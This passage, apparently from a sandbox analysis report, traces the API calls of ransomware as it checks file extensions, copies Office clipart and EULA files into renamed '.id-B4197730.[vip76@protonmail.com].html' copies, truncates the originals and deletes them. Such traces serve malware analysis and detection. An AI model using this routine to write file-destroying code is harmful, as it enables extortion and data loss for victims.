	[0087.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.016] lstrlenW (lpString=".doc") returned 4
	[0087.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.016] lstrlenW (lpString=".docx") returned 5
	[0087.017] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.017] lstrlenW (lpString=".pdf") returned 4
	[0087.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString=".xls") returned 4
	[0087.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.017] lstrlenW (lpString=".xlsx") returned 5
	[0087.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.017] lstrlenW (lpString=".ppt") returned 4
	[0087.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.017] lstrlenW (lpString=".zip") returned 4
	[0087.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.017] lstrlenW (lpString=".rar") returned 4
	[0087.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString=".bz2") returned 4
	[0087.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString=".7z") returned 3
	[0087.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.017] lstrlenW (lpString=".dbf") returned 4
	[0087.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.017] lstrlenW (lpString=".1cd") returned 4
	[0087.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0087.017] lstrlenW (lpString=".jpg") returned 4
	[0087.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.018] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.018] lstrlenW (lpString="FD00369_.WMF") returned 12
	[0087.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.018] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=8552) returned 1
	[0087.018] CloseHandle (hObject=0x378) returned 1
	[0087.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 0x220
	[0087.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.019] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.019] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0087.019] GetLastError () returned 0x0
	[0087.019] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2168, lpOverlapped=0x0) returned 1
	[0087.021] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2170, lpOverlapped=0x0) returned 1
	[0087.022] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.022] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.022] SetEndOfFile (hFile=0x380) returned 1
	[0087.022] CloseHandle (hObject=0x380) returned 1
	[0087.023] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.023] SetEndOfFile (hFile=0x378) returned 1
	[0087.023] CloseHandle (hObject=0x378) returned 1
	[0087.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0087.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1
	[0087.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.024] lstrlenW (lpString=".doc") returned 4
	[0087.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.024] lstrlenW (lpString=".docx") returned 5
	[0087.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.024] lstrlenW (lpString=".pdf") returned 4
	[0087.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.024] lstrlenW (lpString=".xls") returned 4
	[0087.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.024] lstrlenW (lpString=".xlsx") returned 5
	[0087.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.024] lstrlenW (lpString=".ppt") returned 4
	[0087.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.024] lstrlenW (lpString=".zip") returned 4
	[0087.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.024] lstrlenW (lpString=".rar") returned 4
	[0087.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.024] lstrlenW (lpString=".bz2") returned 4
	[0087.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.024] lstrlenW (lpString=".7z") returned 3
	[0087.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString=".dbf") returned 4
	[0087.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString=".1cd") returned 4
	[0087.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString=".jpg") returned 4
	[0087.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString=".doc") returned 4
	[0087.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString=".docx") returned 5
	[0087.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.025] lstrlenW (lpString=".pdf") returned 4
	[0087.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString=".xls") returned 4
	[0087.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.025] lstrlenW (lpString=".xlsx") returned 5
	[0087.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.025] lstrlenW (lpString=".ppt") returned 4
	[0087.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.025] lstrlenW (lpString=".zip") returned 4
	[0087.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.025] lstrlenW (lpString=".rar") returned 4
	[0087.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString=".bz2") returned 4
	[0087.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.025] lstrlenW (lpString=".7z") returned 3
	[0087.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.026] lstrlenW (lpString=".dbf") returned 4
	[0087.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.026] lstrlenW (lpString=".1cd") returned 4
	[0087.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68
	[0087.026] lstrlenW (lpString=".jpg") returned 4
	[0087.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.026] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0087.026] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0087.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.030] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=8424) returned 1
	[0087.030] CloseHandle (hObject=0x378) returned 1
	[0087.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0087.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0087.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.030] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0087.031] GetLastError () returned 0x0
	[0087.031] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x20e8, lpOverlapped=0x0) returned 1
	[0087.559] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x20f0, lpOverlapped=0x0) returned 1
	[0087.560] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.560] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.560] SetEndOfFile (hFile=0x380) 

Thread:
	id = 18
	os_tid = 0x6ac

	[0057.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c70098
	[0057.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c800a0
	[0057.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549340
	[0057.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x546948
	[0057.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549550
	[0057.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x4016020
	[0057.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.911] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d8e0
	[0057.911] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549358
	[0057.912] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549358, Size=0x20) returned 0x52d7c8
	[0057.912] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.912] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.912] Wow64DisableWow64FsRedirection (in: OldValue=0x361ff50 | out: OldValue=0x361ff50*=0x0) returned 1
	[0057.912] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d8e0 | out: hHeap=0x4f0000) returned 1
	[0057.912] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.912] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d7c8 | out: hHeap=0x4f0000) returned 1
	[0057.912] Sleep (dwMilliseconds=0x64) 
	[0059.837] Sleep (dwMilliseconds=0x64) 
	[0060.276] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.276] lstrlenW (lpString="eula.rtf") returned 8
	[0060.276] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.277] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7567) returned 1
	[0060.277] CloseHandle (hObject=0x2c8) returned 1
	[0060.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80
	[0060.278] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.278] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.278] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.280] GetLastError () returned 0x0
	[0060.280] ReadFile (in: hFile=0x2c8, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0060.298] WriteFile (in: hFile=0x2d0, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0060.300] ReadFile (in: hFile=0x2c8, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.300] WriteFile (in: hFile=0x2d0, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.300] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.300] CloseHandle (hObject=0x2d0) returned 1
	[0060.301] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.301] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.302] CloseHandle (hObject=0x2c8) returned 1
	[0060.302] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.302] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1
	[0060.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.302] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.302] lstrlenW (lpString=".doc") returned 4
	[0060.302] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.302] lstrlenW (lpString=".docx") returned 5
	[0060.302] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.302] lstrlenW (lpString=".pdf") returned 4
	[0060.302] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString=".xls") returned 4
	[0060.303] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.303] lstrlenW (lpString=".xlsx") returned 5
	[0060.303] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.303] lstrlenW (lpString=".ppt") returned 4
	[0060.303] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString=".zip") returned 4
	[0060.303] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.303] lstrlenW (lpString=".rar") returned 4
	[0060.303] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString=".bz2") returned 4
	[0060.303] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString=".7z") returned 3
	[0060.303] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString=".dbf") returned 4
	[0060.303] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString=".1cd") returned 4
	[0060.303] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString=".jpg") returned 4
	[0060.303] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.303] lstrlenW (lpString=".doc") returned 4
	[0060.303] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.303] lstrlenW (lpString=".docx") returned 5
	[0060.303] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.304] lstrlenW (lpString=".pdf") returned 4
	[0060.304] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString=".xls") returned 4
	[0060.304] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.304] lstrlenW (lpString=".xlsx") returned 5
	[0060.304] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.304] lstrlenW (lpString=".ppt") returned 4
	[0060.304] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.304] lstrlenW (lpString=".zip") returned 4
	[0060.304] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.304] lstrlenW (lpString=".rar") returned 4
	[0060.304] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString=".bz2") returned 4
	[0060.304] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString=".7z") returned 3
	[0060.304] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.304] lstrlenW (lpString=".dbf") returned 4
	[0060.304] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.304] lstrlenW (lpString=".1cd") returned 4
	[0060.304] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35
	[0060.304] lstrlenW (lpString=".jpg") returned 4
	[0060.304] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.304] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.304] lstrlenW (lpString="eula.rtf") returned 8
	[0060.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.601] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=6309) returned 1
	[0060.601] CloseHandle (hObject=0x2c8) returned 1
	[0060.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0060.601] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.601] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.601] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.603] GetLastError () returned 0x0
